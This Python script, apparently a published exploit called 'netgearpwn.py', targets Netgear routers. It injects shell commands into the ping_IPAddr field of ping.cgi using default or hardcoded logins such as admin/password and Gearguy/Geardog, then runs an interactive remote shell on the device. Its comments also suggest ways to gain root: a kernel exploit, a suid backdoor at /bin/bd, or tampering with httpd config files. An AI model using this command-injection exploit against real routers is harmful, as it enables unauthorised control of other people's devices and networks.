#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
password = 'password' 


def main():
	if len(sys.argv) < 2 or len(sys.argv) == 3:
		print "./netgearpwn.py <router ip>"
		return
	spawnShell()

def execute(cmd):
	r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
	result = parseOutput(r.text)	
	return result

def spawnShell():
	r = execute("echo pwn3d")

	if any("pwn3d" in s for s in r) == False:
		print "Something went wrong, is the system vulnerable? Are the credentials correct?"
		return

	while True:
		cmd = raw_input("$ ")
		r = execute(cmd)
		for l in r:
			print l.encode("utf-8")

def parseOutput(output):
	yet = False
	a = False
	result = []
	for line in output.splitlines():
		if line.startswith("<textarea"):
			yet = True
			continue
		if yet == True: 			
			if line.startswith("</textarea>"):
				break
			result.append(line)
	return result

if __name__ == "__main__":
	main()